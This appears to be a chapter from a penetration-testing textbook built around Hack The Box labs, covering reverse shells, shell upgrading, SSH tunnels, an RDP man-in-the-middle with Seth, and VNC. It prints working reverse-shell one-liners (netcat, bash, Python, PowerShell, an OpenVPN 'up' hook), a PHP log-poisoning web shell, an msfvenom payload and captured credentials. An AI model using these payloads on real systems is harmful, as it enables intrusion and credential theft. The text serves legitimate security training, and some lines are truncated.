3 Impacket v0.9.22.dev1+20200915.115225.78e8c8e4 - Copyright 2020 SecureAuth
4 Corporation
5 [*] Requesting shares on 10.10.10.152.....
6 [*] Found writable share ADMIN$
7 [*] Uploading file mirjPmkK.exe
8 [*] Opening SVCManager on 10.10.10.152.....
9 [*] Creating service NeIi on 10.10.10.152.....
10 [*] Starting service NeIi.....
11 [!] Press help for extra shell commands
12 Microsoft Windows [Version 10.0.14393]
13 (c) 2016 Microsoft Corporation. All rights reserved.
14 C:\Windows\system32>whoami
15 nt authority\system
16 C:\Windows\system32>

We could also have logged in using evil-winrm as the user "rin" or instead of creating a user,
run a PowerShell command to get a reverse shell.
hide01.ir

Initial Access: Shells and Remote Services


hide01.ir
Initial Access
Once the phase of enumeration is completed, a path for gaining an initial foothold on the
box has been found. This access may be either through remote services designed to
allow users remote access or through custom exploitation via a variety of means
including custom malware, remote command execution, injection and buffer overflows.
We have covered some of these paths already, but we will dive deeper into some of these
techniques.

Gaining initial access

After enumerating a target, the aim is to gain access to a network through a foothold on a
machine. You have already seen examples of how this can be done using reverse shells or
through standard pathways for remote access such as SSH, FTP, etc. To an attacker, all
access methods are not equal, and a particular path will be preferred over others depending
on what the ultimate goal is. If the aim was simply to get a database of user information,
then compromising a website through SQL injection and dumping the appropriate tables
would be sufficient. If the aim is to gain complete control of the machine and using it as a
jumping point to other machines on the network, getting command access to the box with
persistence will be more important.

Ethical hackers are interested in looking at getting the maximum leverage from a machine
and Hack The Box emulates this by always making the challenge about getting
administrator/root access. This is not always in the form of getting a shell on a box,
sometimes it is sufficient just to be able to read privileged information that only the
administrator or root account would have access to. In the case of Hack The Box, this is
represented by the root flag.

One way of classifying different access techniques is to split them between using
legitimate external remote services and custom exploitation:

External Remote Services

SSH
RDP
hide01.ir
VNC
Others: Citrix, FTP, TFTP, Telnet

Custom Exploitation

Phishing with malware


Reverse/bind shells
Remote command execution
Injection (Databases and Files)
Buffer overflows

This is not an exhaustive classification and the main point to take from it are the different
approaches. In the first class, using External Remote Services, the attacker is "living off the
land" by using legitimate tools for their attack. In the second, they are crafting a custom
exploitation of a vulnerability to gain unintended access.

Before we start looking at these methods of access, we need to review how Linux and
Windows provide an interface to the operating system through their respective command
terminals or command shells.

Principles of a remote shell redirecting stdin, stdout and stderror over a network socket

This entire process is made simpler through the use of a program called Netcat that can
handle the IO redirection for a program over a network. In what is called a “reverse shell”,
you start a Netcat session on a local machine to listen for incoming connections:

nc -lvnp 6001
hide01.ir
This tells netcat to listen (-l) on port (-p) 6001 (any number port that is not being used) on
all IP addresses for incoming connections (-v is for verbose output, -n is for no DNS). On the
target machine, you can run:

nc <listen machine IP> 6001 -e /bin/bash

This will execute bash and send all IO to the listening machine.

An alternative to reverse shells are “bind shells”. In this case the process listens on the
attacking machine and the attacker initiates the connection from the attacking machine.
The commands are the same but reversed.

Netcat is one tool to create a reverse shell. There are numerous other ways of achieving the
same result of handling the standard streams. Another common and useful way of sending
a reverse shell is by using built in networking functions of bash.

bash -i >& /dev/tcp/10.0.0.1/6001 0>&1

Although this looks complicated, it is running a bash shell in interactive mode (-i) and
redirecting stdout and stderr (>&) to a socket that will connect to the address and port
specified (/dev/tcp/10.0.0.1/6001). The final redirection command (0>&1) redirects stdin to
the same file as stdout i.e. the socket.

At the other end, you can still use Netcat in listening mode to handle the incoming
connection.

There are a range of ways of running reverse shells in different languages listed on sites
like PayloadsAllTheThings[1]. An example of a reverse shell written in Python is

1 python3 -c 'import socket,subprocess, os; s=socket.socket(socket.AF_INET,\


2 socket.SOCK_STREAM);s.connect(("10.0.0.1",6001));os.dup2(s.fileno(),0); \
3 os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash

Expanded, the code looks like this:


hide01.ir
1 import socket,subprocess, os
2 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
3 s.connect(("10.0.0.1",6001))
4 os.dup2(s.fileno(),0)
5 os.dup2(s.fileno(),1)
6 os.dup2(s.fileno(),2)
7 p=subprocess.call(["/bin/bash","-i"])

The code essentially replicates the process of making the bash socket connection you saw
earlier. It creates a socket u and connects to the listener v. It redirects the stdin, stdout and
stderror to the socket w and then makes then runs the bash command x. It then gets all of
the standard streams using the socket and finally starts an interactive shell.

The code essentially replicates the process you saw above with the bash socket
connection. It creates a socket and connects to the listener. It then gets all of the standard
streams using the socket and finally starts an interactive shell.

Reverse shells on Windows

The principles of reverse shells work with Windows as well but you don’t have the ease of
having bash readily available. There are Windows' versions of Netcat and so it is possible
to do a reverse shell by simply specifying cmd.exe or powershell.exe as the command to
execute when using it. It is also possible, as in the Python example above, to run a reverse
shell written in PowerShell as follows:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.

When the code passed to powershell.exe's command argument (-Command) is expanded, it


looks like this:

1 New-Object System.Net.Sockets.TCPClient("10.0.0.1",6001)
2 $stream = $client.GetStream()
3
hide01.ir
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
4 $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($byte
5 $sendback = (iex $data 2>&1 | Out-String )
6 $sendback2 = $sendback + "PS " + (pwd).Path + "> "
7 $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
8 $stream.Write($sendbyte,0,$sendbyte.Length);
9 $stream.Flush()
10 }
11 $client.Close()

The script creates a socket to communicate with the attacker's listener u, creates a buffer to
read v from that socket which will be commands sent by the attacker w, executes the
commands sent by the attacker x and gets the response and then writes the response back
to the attacker y.

As with all things Windows, this is slightly more complicated than the Linux versions but
functional, nonetheless. Another alternative is to use a “Meterpreter” shell that is designed
to work with the pentesting framework Metasploit which you will discuss shortly.

Upgrading Remote Shells

The shells obtained by the methods outlined sometimes are less than functional because
they do not result in a full ‘TTY’ terminal. TTY stands for teletype and is derived from the
early electromagnetic typewriters that were used in telegraphy and then to communicate
with mainframes and minicomputers. When you open a terminal on a Mac or on Linux, the
terminal software is running a pseudo teletype (PTY) which handles getting input from the
keyboard and passing it to a TTY driver which eventually passes that data to which ever
shell program you are running. The terminal handles things like arrow keys and key
sequences like "control + w" which will erase a word, "control + c" which will kill the last
command you ran. If you are not running a proper TTY, you won't be able to use arrow keys
and "CTL+c" will kill the shell you are running and not the last command. Also using an
editor like vi will be difficult.

Shells can be upgraded by using the pty library in python:


hide01.ir
python3 -c ‘import pty;pty.spawn(“/bin/bash”);’

Then typing CTL+z to background the process and typing

1 stty raw -echo


2 fg
3 hit enter key
4 hit enter key
5 reset
6 export SHELL=bash
7 export TERM=xterm-256color
8 stty rows <num> columns <cols>

SSH

Secure Shell (SSH) operates in a client server configuration with the server usually listening
on TCP port 22. Normally, the process for a client connecting to a remote machine involves
using either a password or a private key. Keys are generated using ssh-keygen which by
default will use RSA as the algorithm. Running ssh-keygen will produce a private key and a
public key. The public key is added to a file "authorized_keys" normally located in the .ssh
directory in the user's home directory. The private key is then held by the user on their client
machine. SSH also supports password access. Although it is not normal to find a private
key in the .ssh directory on the server, it is always worth checking, using the default
filename for the private key "id_rsa".

As an added layer of protection, SSH private keys can be encrypted. John The Ripper will
extract a hash from the encrypted SSH key with a program called "sshng2john.py".

Another useful utility supported by SSH is "scp" a ssh file copying utility. To copy a file to a
remote machine you can use the command:

scp -I remote.key localfile.txt [email protected]:/tmp/remotefile.txt


hide01.ir
To copy the remote file to a local file, you just reverse the order of the file paths.

SSH Tunnels

SSH can be used to create an encrypted tunnel that supports port forwarding. There are two
types of port forwarding, local and remote. This can be confusing because local forwarding
forwards packets from a local port to a port on a remote machine. Remote port forwarding
is the opposite, taking packets for a port on a remote machine and forwarding them to a
port on the local machine. As an example, let us imagine that you have ssh'd onto a remote
machine that is behind a firewall that doesn't allow any traffic out. You would like to access
a web server on our local machine to be able to access file from the remote box. To do this,
you could use an SSH tunnel as:

ssh -R 8000:127.0.0.1:8000 [email protected]

From the remote machine, you can now access the web server on the local machine by
using the URL http://127.0.0.1:8000. Of course, you would need to make sure that nothing
was running on port 8000 already on the remote machine.

The converse of this is where you would like to access a port on a remote machine that is
only available from that machine. In this case, you use SSH in the same was as before but
using the -L flag instead of -R.

ssh -L 8000:127.0.0.1:8000 [email protected]

From the local machine, you can access the remote server by once again using the URL
http://127.0.0.1:8000.

A tunnel can be created without actually logging into the machine (i.e. not running a shell)
by specifying the -N flag.

Dynamic Port Forwarding


hide01.ir
Specifying individual ports to forward works well when you are interested in a specific
target for this. There are situations however when there is more than one port that you
would like to forward, or indeed a range of ports. To do this you can use dynamic port
forwarding which works as a SOCKS proxy.

ssh -D 1080 [email protected]

Once this is running, a SOCKS proxy can be configured in settings of the browser, or you
can use the application proxychains which allows any application that uses the network to
send its commands over the SOCKS proxy you have established. For example, to curl a web
server running on the remote host on port 8000, you would use proxychains as:

proxychains curl http://remoteserver.htb:8000

Depending on the tool however, there is often built in support for proxying and so with curl
for example, the SOCKs proxy can be specified directly:

curl socks5h://localhost:1080 http://remoteserver.htb:8000

Exercise: Initial access and port forwarding on Hack the


Box machine Vault

This machine was graded medium difficulty and was actually 3 separate virtual machines
with hostnames: ubuntu, DNS and Vault. Although you will be dealing with pivoting later on,
solving the machine required the use of local and remote port forwarding over SSH. An
additional complication was the presence of a firewall that was blocking traffic to the Vault
machine unless the source port was set to 53, the port usually associated with DNS. The
firewall can be circumvented in a number of ways but the easiest is to use Ipv6 which
hadn't been blocked by the firewall.
hide01.ir
An nmap scan of the machine reveals SSH running on port 22 and HTTP running on port
80:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Vault]
2 └──╼ $sudo nmap -v -sC -sV --min-rate=1000 -T4 -p- vault.htb \
3 -oN Nmap/tcp-full
4 <SNIP>
5 PORT STATE SERVICE VERSION
6 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.
7 <SNIP>
8 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
9 | http-methods:
10 |_ Supported Methods: GET HEAD POST OPTIONS
11 |_http-server-header: Apache/2.4.18 (Ubuntu)
12 |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
13 <SNIP>
14 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Visiting the website on port 80, you get the text:

Welcome to the Slowdaddy web interface

We specialize in providing finanancial organisations with strong web and database


solutions and we promise to keep your customers financial data safe.

We are proud to announce our first client: Sparklays (Sparklays.com still under
construction)

Running Gobuster, but with a modified wordlist to add "sparklays" and "Sparklays", you find
the sub-directory "sparklays". Running gobuster on this directory reveals the following sub-
directories and files:

1 ┌─[rin@parrot]─[~/boxes/Vault]
2 └──╼ $gobuster dir -t 50 \
3 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
4 -u http://vault.htb/sparklays -x .php
5 <SNIP>
6
hide01.ir
/login.php (Status: 200)
7 /admin.php (Status: 200)
8 /design (Status: 301)

And again, within the /design sub-directory, you find an additional directory
/design/uploads. Navigating to the http://vault.htb/sparklays/admin.php returns a login
page which doesn't return any errors or other feedback when testing out default
username/password combinations like admin/admin. Putting this request into Burp Suite
and changing the host header in the request to "localhost" however, you get redirected to
another php page " sparklays-local-admin-interface-0001.php" which presents the page
shown in Figure 3-2.

Vault admin panel

Clicking on "Server Settings" leads to a page under construction. "Design Settings" however,
returns a page that allows the logo to be changed. We can upload a PHP file that will give
us a reverse shell. There are webshells already installed on Parrot Sec OS located in the
directory /usr/share/webshells. We will use the PHP one:

/usr/share/webshells/php/php-reverse-shell.php

Copying this file to our working directory and renaming it reverse.php, we can try and
upload it using the logo upload feature. The upload function restricts the file types that can
be uploaded and so if you try and upload the PHP file you get an error returned saying
"sorry that file type is not allowed". However, if you change the extension of the file to
hide01.ir
another valid PHP extension "reverse.php5", that is allowed. Start a Netcat listener to catch
the reverse shell:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Vault]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...

We can now navigate to the URL:

http://vault.htb/sparklays/design/uploads/reverse.php5

This then returns a reverse shell which you can upgrade to a full TTY using the Python and
bash commands:

1 python3 -c 'import pty;pty.spawn("/bin/bash")'


2 CTL-Z
3 bg
4 stty raw -echo
5 fg
6 fg

We now have initial access as the user www-data. Exploring the /home directories, you see
two users; "alex" and "dave". On exploring the "dave" directory, you find a sub-directory
"Desktop" that has files which contain ssh credentials for the user "dave":

1 www-data@ubuntu:/home/dave/Desktop$ ls -al
2 total 20
3 drwxr-xr-x 2 dave dave 4096 Sep 3 2018 .
4 drwxr-xr-x 18 dave dave 4096 Sep 3 2018 ..
5 -rw-rw-r-- 1 alex alex 74 Jul 17 2018 Servers
6 -rw-rw-r-- 1 alex alex 14 Jul 17 2018 key
7 -rw-rw-r-- 1 alex alex 20 Jul 17 2018 ssh
8 www-data@ubuntu:/home/dave/Desktop$ cat Servers
9 DNS + Configurator - 192.168.122.4
10
hide01.ir
Firewall - 192.168.122.5
11 The Vault - x
12 www-data@ubuntu:/home/dave/Desktop$ cat key
13 itscominghome
14 www-data@ubuntu:/home/dave/Desktop$ cat ssh
15 dave
16 Dav3therav3123
17 www-data@ubuntu:/home/dave/Desktop$

We can now login using ssh and the user dave and the password Dav3therav3123.

In the file Servers, it mentioned another machine at the IP address "192.168.122.4". you can
see from using the command "ifconfig" that the machine vault has 2 network interfaces
with the interface "virbr0" having the IP address 192.168.122.1. you can check what ports
might be on the machine with the IP address "192.168.122.4 by using Netcat:

nc -vz 192.168.122.4 1-100

The -v flag allows for verbose output and the -z flag does not connect to the port, it just
checks if it could connect. Using this, you see that ports 22 and 80 are open.

We can now do a local port forward to get access to port 80 on the box 192.168.122.4

1 ┌─[rin@parrot]─[~/boxes/Vault]
2 └──╼ $ssh -N -L 8081:192.168.122.4:80 [email protected]
3 [email protected]'s password:

This then allows us to navigate to the web site at http://127.0.0.1:8081 where you get links
related to DNS and VPN configuration (Figure 3-4).
hide01.ir

Home page on port 8081

The first link goes to a page under construction. The second is a page that allows for
openvpn configurations to be tested.

VPN Configurator page

Searching for OpenVPN configuration exploits, you find a blog post by Jacob Baines[2]
which gives a configuration for returning a reverse shell. Adapting this, you can paste the
following into the page, update the file and then click Test VPN.

1 Remote 192.168.122.1
2 nobind
3 dev tun
4 script-security 2
5 up "/bin/bash -c '/bin/bash -I > /dev/tcp/192.168.122.1/6002 0<&1 2>&1&'"
hide01.ir
Rather than run the Netcat listener on the Vault machine however, you can use another SSH
remote port forwarder to tunnel the shell back to our local machine. To do this from an
existing SSH session, you can use the special characters ~C at the beginning of the
command prompt to drop into an SSH prompt and then set up the remote port forward:

1 dave@ubuntu:~$
2 ssh> -R 6002:127.0.0.1:6002
3 Forwarding port.
4 dave@ubuntu:~$

Setting up the listener on the local machine will then give us a reverse shell on the DNS
machine as root.

1 ┌─[rin@parrot]─[~/boxes/Vault]
2 └──╼ $nc -lvnp 6002
3 listening on [any] 6002 ...
4 connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 56806
5 bash: cannot set terminal process group (1096): Inappropriate ioctl for de
6 bash: no job control in this shell
7 root@DNS:/var/www/html#

Looking around the box, you find that the ssh file in /home/dave has a password
dav3gerous567.

Looking at the /etc/hosts file, you see an entry for the vault machine:

1 root@DNS:/home/dave# cat /etc/hosts


2 cat /etc/hosts
3 127.0.0.1 localhost
4 127.0.1.1 DNS
5 192.168.5.2 Vault
6 # The following lines are desirable for Ipv6 capable hosts
7 ::1 localhost ip6-localhost ip6-loopback
8 ff02::1 ip6-allnodes
9 ff02::2 ip6-allrouters
hide01.ir
The machine doesn’t respond to a ping but using nmap on the Vault machine, you find two
ports that are closed:

1 PORT STATE SERVICE


2 53/tcp closed domain
3 4444/tcp closed krb524

There is a possibility that this response is just poor firewall design and that the reason that
53 responded as closed was because the firewall may be letting anything that looks like
DNS traffic through to the box. You can re-run nmap but specify the source port as 53. This
gives an open port 987

1 PORT STATE SERVICE


2 987/tcp open unknown

Running netcat to connect to that port returns and SSH banner suggesting that you can
SSH onto that box.

1 root@DNS:/home/dave# nc -p 53 Vault 987


2 SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4

There are a couple of ways of getting around the firewall restriction to get to the Vault
machine. The easiest however is to use Ipv6. In order to do that, you need to find the Ipv6
address of Vault. If you ping the Ipv6 broadcast address, the ping will go to all hosts on the
network connected to the "ens3" network interface:

1 root@DNS:/home/dave# ping6 -I ens3 ff02::1


2 PING ff02::1(ff02::1) from fe80::5054:ff:fe17:ab49 ens3: 56 data bytes
3 64 bytes from fe80::5054:ff:fe17:ab49: icmp_seq=1 ttl=64 time=0.026 ms
4 64 bytes from fe80::5054:ff:fec6:7066: icmp_seq=1 ttl=64 time=2.48 ms (DUP
5
hide01.ir
64 bytes from fe80::5054:ff:fe3a:3bd5: icmp_seq=1 ttl=64 time=2.49 ms (DUP
6 64 bytes from fe80::5054:ff:fee1:7441: icmp_seq=1 ttl=64 time=3.03 ms (DUP

From this, you get 4 responses. The first response from fe80::5054:ff:fe17:ab49 you know
is from the DNS machine as you can see its Ipv6 address using the ifconfig command.
Using the nmap command, you can check which machine has port 987 open and you find
that it is the machine with the Ipv6 address fe80::5054:ff:fec6:7066.

We can then just ssh in using the ssh command:

ssh -p 987 dave@fe80::5054:ff:fec6:7066%ens3

Once on the box, you can see the root flag that is encrypted using GPG. You can use the
gpg application to get more information about the file and find that it has been encrypted
using an RSA key with the ID D1EB1F03.

1 dave@vault:~$ ls
2 root.txt.gpg
3 dave@vault:~$ gpg root.txt.gpg
4 gpg: directory `/home/dave/.gnupg' created
5 gpg: new configuration file `/home/dave/.gnupg/gpg.conf' created
6 gpg: WARNING: options in `/home/dave/.gnupg/gpg.conf' are not yet active d
7 gpg: keyring `/home/dave/.gnupg/secring.gpg' created
8 gpg: keyring `/home/dave/.gnupg/pubring.gpg' created
9 gpg: encrypted with RSA key, ID D1EB1F03
10 gpg: decryption failed: secret key not available

This key doesn't exist on the Vault machine but does on the ubuntu machine:

1 dave@ubuntu:~$ gpg --list-keys


2 /home/dave/.gnupg/pubring.gpg
3 pub 4096R/0FDFBFE4 2018-07-24
4 uid avid <[email protected]>
5 sub 4096R/D1EB1F03 2018-07-24
hide01.ir
We can use scp (SSH copy utility) to copy the file onto the DNS box and then onto the
ubuntu machine and decrypt using gpg and the passphrase "itscominghome" that you
found in the file called Key earlier.

Remote Desktop Protocol

Remote Desktop Protocol (RDP) allows user to access their desktop from another machine
over a network using the RDP client. The RDP server listens on TCP and UDP port 3389 by
default. Users are permitted to use RDP are those in the Remote Desktop Users group. RDP
access is one way hackers will gain initial access to a machine if they have a user's
credentials. It can also be used to establish persistence, i.e. an easy way to regain access at
some later point. In this case, a new user can be created and added to the relevant groups
to allow remote desktop access.

RDP is also susceptible to man-in-the-middle attacks. Using software such as Seth[3]. When
Remote Desktop Connection connects through to a machine, it will throw up an error if there
is a problem with the TLS certificate. However, it does this with the default self-signed
certificate and users are normally used to just ignoring the warning and clicking through.
Another issue with man-in-the-middle is if RDP is configured to use Network Level
Authentication which Seth is not able to handle. In this scenario, Seth will still be able to
capture the plaintext password that was entered into the login screen for the RDP
connection, but the connection will then die.

There have been a number of exploits of RDP with the most significant recent exploit being
BlueKeep (CVE-2019-0708) which allowed remote code execution through RDP on Windows
7 and Windows Server 2008 machines.

RDP does not feature in Hack The Box machines, mainly because in the past, it would have
been hard to support the many users accessing RDP all at the same time on a VM.
However, this is an important technique in an attacker's arsenal and so MITRE for example
lists numerous malicious hacker groups as using it to gain access and for lateral
movement [4].

Exercise: Using Seth in a Man-in-the-Middle Attack


hide01.ir
Hack The Box doesn't have any good examples of RDP exploitation and so to illustrate at
least one vulnerability, you will demonstrate how easy it is to get a person's password using
Seth.

For this demonstration, you have a Windows 10 box that is configured to accept remote
desktop connections as the target. You can use your Windows 10 Commando box if you
have set that up. The victim is a remote desktop connection client from any other machine
on the network, including the computer you are using to run the VMs on. The attacker
machine is our ParrotSec VM. The network is shown in Figure 3-6 below.

Network diagram of RDP man-in-the-middle attack

When you run Seth on the attacker machine and then try and connect using the Remote
Desktop Client, you get this output:

1 ┌─[rin@parrot]─[/opt/Seth]
2 └──╼ $sudo ./seth.sh eth0 10.0.1.7 10.0.1.5 10.0.1.8
3 ███████╗███████╗████████╗██╗ ██╗
4 ██╔════╝██╔════╝╚══██╔══╝██║ ██║ by Adrian Vollmer
5 ███████╗█████╗ ██║ ███████║ [email protected]
6 ╚════██║██╔══╝ ██║ ██╔══██║ SySS GmbH, 2017
7 ███████║███████╗ ██║ ██║ ██║ https://www.syss.de
8 ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝
9 [*] Linux OS detected, using iptables as the netfilter interpreter
10 [*] Spoofing arp replies...
11 [*] Turning on IP forwarding...
12 [*] Set iptables rules for SYN packets...
13 [*] Waiting for a SYN packet to the original destination...
14 [+] Got it! Original destination is 10.0.1.27
15 [*] Clone the x509 certificate of the original destination...
16 [*] Adjust iptables rules for all packets...
17
hide01.ir
[*] Run RDP proxy...
18 Listening for new connection
19 Connection received from 10.0.1.5:61220
20 Warning: RC4 not available on client, attack might not work
21 Downgrading authentication options from 11 to 3
22 Listening for new connection
23 Enable SSL
24 Connection received from 10.0.1.5:61232
25 Warning: RC4 not available on client, attack might not work
26 Downgrading authentication options from 11 to 3
27 Listening for new connection
28 Enable SSL
29 Failed to extract keyboard layout information
30 rin:::afb99ab9d701d668:9511818e381cab338594796e923386ef:
31 010100000000000007cbbd3eb4b8d601699b03023078129f00000000
32 02001e004400450053004b50000bf00510001001e004400450053004
33 b3344550004001e004400450053004b0054004f0050002d004900520
34 052004b0044004e00510003001e004400450053004b0054004f00500
35 02d004900520052004b0044004e0051000700080007cbbd3eb4b8d60
36 106000cd00020000000000000000000000
37 Tamper with NTLM response
38 Downgrading CredSSP
39 Connection received from 10.0.1.5:61233
40 Warning: RC4 not available on client, attack might not work
41 Listening for new connection
42 Server enforces NLA; switching to 'fake server' mode
43 Enable SSL
44 Connection lost on enableSSL: [Errno 104] Connection reset by peer
45 Hiding forged protocol request from client
46 .\rin:S3cr3tP@55w0rd
47 [*]

In this scenario, Network Level Authentication had been configured and so Seth was not
able to complete the attack and the connection fails with an error. However, the plaintext
username and password are still obtained by the attacker. If the NLA requirement option is
switched off, the connection completes, and the user would not be any the wiser.

VNC

VNC is an alternative to RDP that is platform independent. VNC uses the Remote Frame
Buffer protocol (RFB). It is usually configured to run on ports 5900+N were N is the display
number. Whilst RFB is not a secure protocol, VNC can be run through an SSH or VPN tunnel
making it secure.
hide01.ir
VNC hasn't been the most robust of products and there are numerous serious vulnerabilities
in a range of different versions of the product.

VNC may require password but if used, it doesn't need a username. Metasploit has a VNC
login brute force module (auxiliary/scanner/vnc/vnc_login) and the command line
application hydra can also brute force VNC passwords. A VNC-enabled payload can be
created by msfvenom also:

msfvenom -p windows/vncinject/reverse_tcp LHOST=<Local Host IP address>


LPORT=4444 -f exe > payload.exe

Finally, meterpreter can launch a VNC session by running "run vnc" within a meterpreter
session.

Exercise: Exploiting VNC for initial access in Hack The Box machine
Poison

An nmap scan shows that this machine is running FreeBSD and has port 22 (SSH) and port
80 (HTTP) open.

1 ┌─[✗]─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $sudo nmap -v -sC -sV -T4 --min-rate 1000 -p- poison.htb -oA nmap/ful
3 PORT STATE SERVICE VERSION
4 22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
5 <SNIP>
6 80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
7 | http-methods:
8 |_ Supported Methods: GET HEAD POST OPTIONS
9 |_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
10 |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
11 Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Navigating to the website, there is a home page suggesting that various PHP files can be
tested (Figure 4-6).
hide01.ir

Home page of Poison machine

Inputting one of the filenames listed results in the contents of that file being listed. If we
enter listfiles.php, the output is:

1 Array ( [0] => . [1] => .. [2] => browse.php [3] =>
2 index.php [4] => info.php [5] => ini.php [6] =>
3 listfiles.php [7] => phpinfo.php [8] => pwdbackup.txt )

The PHP code is creating an array of filenames. The interesting one is pwdbackup.txt which
if we access has the contents:

1 This password is secure, it's encoded atleast 13 times.. what could go


2 wrong really..
3 Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySk
4 bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZD
5 <SNIP>

The encoding format looks like Base64 and so if we simply put the string in a file and
decode it13 times we get a password:

1 ┌─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $cat password.txt | base64 -d | base64 -d | base64 -d | base64 -d | b
3 Charix!2#4%6&8(0

Going back to the home page, the input to the text box is simply being passed as a
parameter called "file" to be displayed:
hide01.ir
http://poison.htb/browse.php?file=listfiles.php

This looks like a candidate for local file inclusion (LFI) by tampering with the file parameter.
If we try the URL

http://poison.htb/browse.php?file=/etc/passwd

We get the contents of the passwd file returned.

1 # $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr


2 #
3 root:*:0:0:Charlie &:/root:/bin/csh
4 toor:*:0:0:Bourne-again Superuser:/root:
5 <SNIP>
6 cups:*:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin
7 charix:*:1001:1001:charix:/home/charix:/bin/csh

We can see from the passwd file that there is a user "charix" and using the password we
discovered earlier with this, we can SSH into the machine.

This was not the only way that you can gain initial access to the box however. Another way
of gaining access is to use a technique called "log poisoning" which involves putting PHP
code into the Apache log file that records requests to the site. This log records the URL
requested, the protocol, the status code and also the user agent which is the details of the
browser client used to make the request. If we put executable PHP into the User Agent
header filed in the request and make a request, the next time we use LFI on the log, that
code will be executed. The code we can add to the User Agent field is:

<?php system($_GET['c']); ?>


hide01.ir
This code takes the value in the query parameter 'c' and executes it using the 'system'
command. To add the code to the User Agent field, we can use Burp to intercept the request
and then change the value in the Repeater tab before sending it to the server:

1 GET /browse.php?file=/etc/passwd HTTP/1.1


2 Host: poison.htb
3 User-Agent: <?php system($_GET['c']); ?>
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 DNT: 1
8 Connection: close
9 Upgrade-Insecure-Requests: 1
10 Sec-GPC: 1

We can test this now by sending a new request to view the log file and pass a command via
the parameter 'c':

GET /browse.php?file=/var/log/httpd-access.log&c=id HTTP/1.1

This will return the contents of the log file and the final line will be:

1 10.10.14.135 - - [] "GET /browse.php?file=/etc/passwd HTTP/1.1" 200 1894 \


2 "-" "uid=80(www) gid=80(www) groups=80(www)"

It took the 'id' command and executed it to return the details of the user 'www'.

We can now execute a reverse shell. Start a Netcat listener on your machine:

1 ┌─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
hide01.ir
We can now poison the log with PHP reverse shell code:

1 <?php exec('
2 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.135 6001 >/
3 ?>

When we make the GET request to view the log, we will get a reverse shell:

1 ┌─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
4 connect to [10.10.14.135] from (UNKNOWN) [10.129.105.0] 35870
5 sh: can't access tty; job control turned off
6 $ whoami
7 www

The shell isn't great and Python is not on the box to use to upgrade it. If you had got access
this way, it would have ben to explore the box to find the pwdbackup.txt file and from there
the password for the charix user to enable the use of SSH.

Once SSH'd onto the machine, you discover a file secret.zip which you can copy back to
your local host using the scp command:

1 ┌─[rin@parrot]─[~/boxes/Poison]
2 └──╼ $scp [email protected]:/home/charix/secret.zip .
3 Password for charix@Poison:
4 secret.zip 100% 166 0.5KB/s 00:00

The file can be unzipped using charix's password to reveal the secret file which has binary
data in it but otherwise it is not clear what it is for.

Back to enumeration. Looking at the processes running, you will notice a process Xvnc:
hide01.ir
1 charix@Poison:~ % ps -aux
2 USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
3 root 11 100.0 0.0 0 16 - RL 14:00 30:53.63 [idle]
4 root 0 0.0 0.0 0 160 - DLs 14:00 0:00.01 [kernel]
5 root 1 0.0 0.1 5408 976 - ILs 14:00 0:00.01 /sbin/init --
6 root 2 0.0 0.0 0 16 - DL 14:00 0:00.00 [crypto]
7 <SNIP>
8 root 614 0.0 0.9 23620 8868 v0- I 14:00 0:00.04 Xvnc :1 -desktop X
9 -httpd /usr/local/share/tight
10 root 625 0.0 0.7 67220 7048 v0- I 14:00 0:00.03 xterm -geometry 80x24+10+1
11 -ls -title X Desktop
12 root 626 0.0 0.5 37620 5312 v0- I 14:00 0:00.01 twm

To get more information, we can display the process information in more detail:

1 charix@Poison~ % ps -auxww | grep vnc


2 root 614 0.0 0.9 23620 8868 v0- I 14:00 0:00.04 Xvnc :1 -desktop X
3 -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority
4 -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd
5 -rfbport 5901 -localhost -nolisten tcp :1

From this, we know that TightVNC is running as user root and this is listening on port 5901
on localhost. To access the VNC server, you first set up a tunnel using:

1 charix@Poison:~ %
